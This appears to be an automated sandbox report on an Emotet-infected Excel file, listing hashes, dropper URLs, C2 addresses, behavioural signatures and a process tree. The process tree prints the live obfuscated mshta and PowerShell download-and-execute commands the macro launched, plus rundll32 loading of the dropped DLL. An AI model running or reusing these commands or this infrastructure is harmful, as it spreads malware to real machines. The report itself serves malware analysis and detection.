emotet | 6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

Analysis

max time kernel
382s
max time network
362s
platform
windows10_x64
resource
win10-en-20211208
submitted
24/01/2022, 16:06

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General

Target

21fc12ef8a4a4ba5b38a303fa7e70c08.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1424	3804	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 9 IoCs

flow	pid	Process
24	1940	mshta.exe
37	3984	powershell.exe
42	3984	powershell.exe
49	3200	mshta.exe
52	3348	powershell.exe
53	3348	powershell.exe
54	2256	rundll32.exe
55	2256	rundll32.exe
56	2272	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3924	rundll32.exe
1440	rundll32.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pxfaimxpy\xfahyqjnb.akd	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\Wzcavmrt\vwcjmh.zow	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2196	1940	WerFault.exe	71
3332	3200	WerFault.exe	86

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3804	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2256	rundll32.exe
2256	rundll32.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3332	WerFault.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
2272	rundll32.exe
2272	rundll32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	WerFault.exe
Token: SeDebugPrivilege	3332	WerFault.exe
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 1424	3804	EXCEL.EXE	69
PID 3804 wrote to memory of 1424	3804	EXCEL.EXE	69
PID 1424 wrote to memory of 1940	1424	cmd.exe	71
PID 1424 wrote to memory of 1940	1424	cmd.exe	71
PID 1940 wrote to memory of 3984	1940	mshta.exe	77
PID 1940 wrote to memory of 3984	1940	mshta.exe	77
PID 4032 wrote to memory of 2972	4032	cmd.exe	82
PID 4032 wrote to memory of 2972	4032	cmd.exe	82
PID 4032 wrote to memory of 2972	4032	cmd.exe	82
PID 2972 wrote to memory of 2700	2972	rundll32.exe	83
PID 2972 wrote to memory of 2700	2972	rundll32.exe	83
PID 2972 wrote to memory of 2700	2972	rundll32.exe	83
PID 2700 wrote to memory of 3008	2700	rundll32.exe	84
PID 2700 wrote to memory of 3008	2700	rundll32.exe	84
PID 2700 wrote to memory of 3008	2700	rundll32.exe	84
PID 3008 wrote to memory of 2256	3008	rundll32.exe	85
PID 3008 wrote to memory of 2256	3008	rundll32.exe	85
PID 3008 wrote to memory of 2256	3008	rundll32.exe	85
PID 2196 wrote to memory of 3200	2196	WerFault.exe	86
PID 2196 wrote to memory of 3200	2196	WerFault.exe	86
PID 3200 wrote to memory of 3348	3200	mshta.exe	87
PID 3200 wrote to memory of 3348	3200	mshta.exe	87
PID 3348 wrote to memory of 1372	3348	powershell.exe	90
PID 3348 wrote to memory of 1372	3348	powershell.exe	90
PID 1372 wrote to memory of 3924	1372	cmd.exe	91
PID 1372 wrote to memory of 3924	1372	cmd.exe	91
PID 1372 wrote to memory of 3924	1372	cmd.exe	91
PID 3924 wrote to memory of 1440	3924	rundll32.exe	92
PID 3924 wrote to memory of 1440	3924	rundll32.exe	92
PID 3924 wrote to memory of 1440	3924	rundll32.exe	92
PID 1440 wrote to memory of 2156	1440	rundll32.exe	93
PID 1440 wrote to memory of 2156	1440	rundll32.exe	93
PID 1440 wrote to memory of 2156	1440	rundll32.exe	93
PID 2156 wrote to memory of 2272	2156	rundll32.exe	94
PID 2156 wrote to memory of 2272	2156	rundll32.exe	94
PID 2156 wrote to memory of 2272	2156	rundll32.exe	94

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\21fc12ef8a4a4ba5b38a303fa7e70c08.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1940 -s 1644
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2196
    - - C:\Windows\system32\mshta.exe
        
        "C:\Windows\system32\mshta.exe" http://0xb907d607/fer/fe2.html
        5⤵
        Blocklisted process makes network request
        Suspicious use of WriteProcessMemory
        
        PID:3200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3348
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1372
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3924
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        9⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1440
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wzcavmrt\vwcjmh.zow",ocGkyH
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2156
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wzcavmrt\vwcjmh.zow",DllRegisterServer
        11⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2272
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3200 -s 2028
        6⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      PID:3984
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4032
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2700
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pxfaimxpy\xfahyqjnb.akd",NdKomrj
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3008
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pxfaimxpy\xfahyqjnb.akd",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1440-673-0x0000000004DD0000-0x0000000004DF6000-memory.dmp

Filesize
152KB

Download
memory/1440-669-0x0000000004C20000-0x0000000004C46000-memory.dmp

Filesize
152KB

Download
memory/1440-667-0x0000000004BC0000-0x0000000004BE6000-memory.dmp

Filesize
152KB

Download
memory/1440-665-0x0000000004AE0000-0x0000000004B06000-memory.dmp

Filesize
152KB

Download
memory/1440-662-0x0000000004590000-0x00000000045B6000-memory.dmp

Filesize
152KB

Download
memory/1440-660-0x00000000043A0000-0x00000000043C6000-memory.dmp

Filesize
152KB

Download
memory/1440-671-0x0000000004C80000-0x0000000004CA6000-memory.dmp

Filesize
152KB

Download
memory/2256-647-0x0000000005BF0000-0x0000000005C16000-memory.dmp

Filesize
152KB

Download
memory/2256-562-0x0000000004E90000-0x0000000004EB6000-memory.dmp

Filesize
152KB

Download
memory/2256-566-0x00000000054B0000-0x00000000054D6000-memory.dmp

Filesize
152KB

Download
memory/2256-636-0x00000000056B0000-0x00000000056D6000-memory.dmp

Filesize
152KB

Download
memory/2256-645-0x0000000005B60000-0x0000000005B86000-memory.dmp

Filesize
152KB

Download
memory/2256-643-0x0000000005970000-0x0000000005996000-memory.dmp

Filesize
152KB

Download
memory/2256-641-0x0000000005870000-0x0000000005896000-memory.dmp

Filesize
152KB

Download
memory/2256-639-0x0000000005790000-0x00000000057B6000-memory.dmp

Filesize
152KB

Download
memory/2272-679-0x0000000004DF0000-0x0000000004E16000-memory.dmp

Filesize
152KB

Download
memory/2272-682-0x0000000005310000-0x0000000005336000-memory.dmp

Filesize
152KB

Download
memory/2700-552-0x0000000000710000-0x0000000000736000-memory.dmp

Filesize
152KB

Download
memory/2700-546-0x0000000000330000-0x0000000000356000-memory.dmp

Filesize
152KB

Download
memory/2700-548-0x0000000000370000-0x0000000000396000-memory.dmp

Filesize
152KB

Download
memory/2700-550-0x00000000006E0000-0x0000000000706000-memory.dmp

Filesize
152KB

Download
memory/2972-542-0x0000000002F80000-0x0000000002FA6000-memory.dmp

Filesize
152KB

Download
memory/3008-554-0x0000000002E40000-0x0000000002E66000-memory.dmp

Filesize
152KB

Download
memory/3348-598-0x000001DE6F5D0000-0x000001DE6F5F2000-memory.dmp

Filesize
136KB

Download
memory/3348-619-0x000001DE6FBC0000-0x000001DE6FBFC000-memory.dmp

Filesize
240KB

Download
memory/3348-637-0x000001DE6D6D0000-0x000001DE6D790000-memory.dmp

Filesize
768KB

Download
memory/3348-630-0x000001DE6FC80000-0x000001DE6FCF6000-memory.dmp

Filesize
472KB

Download
memory/3348-606-0x000001DE6D6D0000-0x000001DE6D790000-memory.dmp

Filesize
768KB

Download
memory/3348-609-0x000001DE6D6D0000-0x000001DE6D790000-memory.dmp

Filesize
768KB

Download
memory/3804-128-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

Filesize
64KB

Download
memory/3804-129-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

Filesize
64KB

Download
memory/3804-115-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-119-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-118-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-117-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-116-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-710-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-711-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-712-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3804-713-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Filesize
64KB

Download
memory/3924-654-0x0000000004E00000-0x0000000004E26000-memory.dmp

Filesize
152KB

Download